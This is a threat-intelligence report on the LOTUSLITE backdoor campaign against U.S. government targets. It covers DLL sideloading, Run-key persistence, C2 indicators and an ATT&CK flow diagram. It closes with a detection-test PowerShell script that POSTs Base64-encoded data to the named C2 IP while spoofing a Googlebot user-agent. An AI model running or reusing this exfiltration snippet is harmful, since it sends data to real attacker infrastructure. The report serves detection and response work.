SOC Prime Bias: Critical

16 Jan 2026 16:42

LOTUSLITE Campaign: Targeted Espionage Driven by Geopolitical Narratives

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
LOTUSLITE Campaign: Targeted Espionage Driven by Geopolitical Narratives
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

Acronis TRU observed a targeted espionage operation aimed at U.S. government organizations that delivered a malicious DLL backdoor, LOTUSLITE, inside a politically themed ZIP archive. A companion loader executable side-loads the DLL, after which the backdoor beacons to a hard-coded C2 endpoint over HTTPS while spoofing a Googlebot user-agent. The operators establish persistence by creating a dedicated ProgramData directory and adding a Run registry entry. Based on overlapping tradecraft, the activity was linked to Mustang Panda.

Investigation

Analysts unpacked the ZIP and identified the loader binary (Maduro to be taken to New York.exe) alongside the weaponized DLL (kugou.dll). The analysis documented the DLL sideloading flow, beaconing behavior, mutex usage, and the exact persistence artifacts created on the host. Infrastructure review attributed communications to a single IP (172.81.60.97) and a spryt.net-hosted domain, reportedly hosted in Phoenix, Arizona. Attribution to Mustang Panda was assessed with moderate confidence due to shared tactics and infrastructure patterns.

Mitigation

Acronis detections relied on SHA-256 hashes for the malicious binaries and highlighted the specific ProgramData persistence folder and Run key location. Network controls should flag outbound HTTPS connections to the identified IP/domain when paired with a Googlebot user-agent string. Reduce persistence by preventing execution of unknown binaries from ProgramData and removing the associated Run registry entry when discovered.

Response

Immediately isolate affected endpoints, capture volatile data, and preserve the malicious binaries for analysis. Remove the created ProgramData folder and delete the corresponding Run registry value to break persistence. Block connectivity to the C2 IP and domain, and update endpoint detections with the provided file hashes and mutex indicator. Finally, conduct an environment-wide hunt for additional hosts exhibiting the same loader and DLL signatures.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#c2f0c2 classDef action fill:#99ccff %% Nodes with technique details initial_access[“<b>Technique</b> – <b>T1566.001 Spearphishing Attachment</b><br/>Delivery of a malicious ZIP archive containing a loader executable and a malicious DLL.”] class initial_access technique execution[“<b>Technique</b> – <b>T1574.001 Hijack Execution Flow: DLL</b><br/>Loader executable sideloads and loads <i>kugou.dll</i> as the backdoor.”] class execution technique defense_evasion1[“<b>Technique</b> – <b>T1036 Masquerading</b><br/>Renames loader to \”Maduro to be taken to New York.exe\” and DLL to \”kugou.dll\” mimicking legitimate music streaming files.”] class defense_evasion1 technique defense_evasion2[“<b>Technique</b> – <b>T1036.003 Rename Legitimate Utilities</b><br/>Uses names of known Tencent music streaming utilities to hide malicious components.”] class defense_evasion2 technique discovery[“<b>Technique</b> – <b>T1033 System Owner/User Discovery</b><br/>Calls GetComputerName and GetUserName to collect host and user information.”] class discovery technique command_exec[“<b>Technique</b> – <b>T1059.003 Windows Command Shell</b><br/>Spawns an interactive <i>cmd.exe</i> shell over anonymous pipes.”] class command_exec technique persistence[“<b>Technique</b> – <b>T1037.001 Boot or Logon Initialization Scripts: Logon Script</b><br/>Creates <i>C:\\ProgramData\\Technology360NB</i>, copies exe as <i>DataTechnology.exe</i>, adds Run key <i>Lite360</i> under HKCU.”] class persistence technique c2[“<b>Technique</b> – <b>T1102 Web Service</b> / <b>T1102.002 Bidirectional Communication</b> / <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Uses WinHTTP to POST to https://172.81.60.97 over port 443 with Googlebot User‑Agent, referrer Google and magic header 0x8899AABB.”] class c2 technique %% Flow connections initial_access –>|leads_to| execution execution –>|enables| defense_evasion1 defense_evasion1 –>|supports| defense_evasion2 defense_evasion2 –>|provides| discovery discovery –>|enables| command_exec command_exec –>|facilitates| persistence persistence –>|establishes| c2

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The attacker has compromised a workstation and installed the LOTUSLITE backdoor. To exfiltrate data while blending in with legitimate web‑crawler traffic, the backdoor issues an HTTP POST to the hard‑coded C2 server 172.81.60.97. It explicitly sets the User‑Agent header to “Googlebot” to masquerade as a search‑engine crawler, hoping to slip past perimeter defenses that whitelist such agents. The payload contains Base64‑encoded exfiltrated data.

  • Regression Test Script:

    # LOTUSLITE C2 simulation – powershell
    $c2 = "http://172.81.60.97/receive"
    $ua = "Googlebot"
    $data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensitive data payload"))
    $body = @{ "data" = $data }
    
    try {
        Invoke-WebRequest -Uri $c2 -Method POST -Headers @{ "User-Agent" = $ua } -Body ($body | ConvertTo-Json -Compress) -UseBasicParsing
        Write-Host "C2 request sent successfully."
    } catch {
        Write-Error "C2 request failed: $_"
    }
  • Cleanup Commands:

    # Remove any temporary files or lingering network connections
    Remove-Item -Path "$env:TEMPlotuslite_temp*" -ErrorAction SilentlyContinue
    # (No persistent services were created in this simulation)
    Write-Host "Cleanup complete."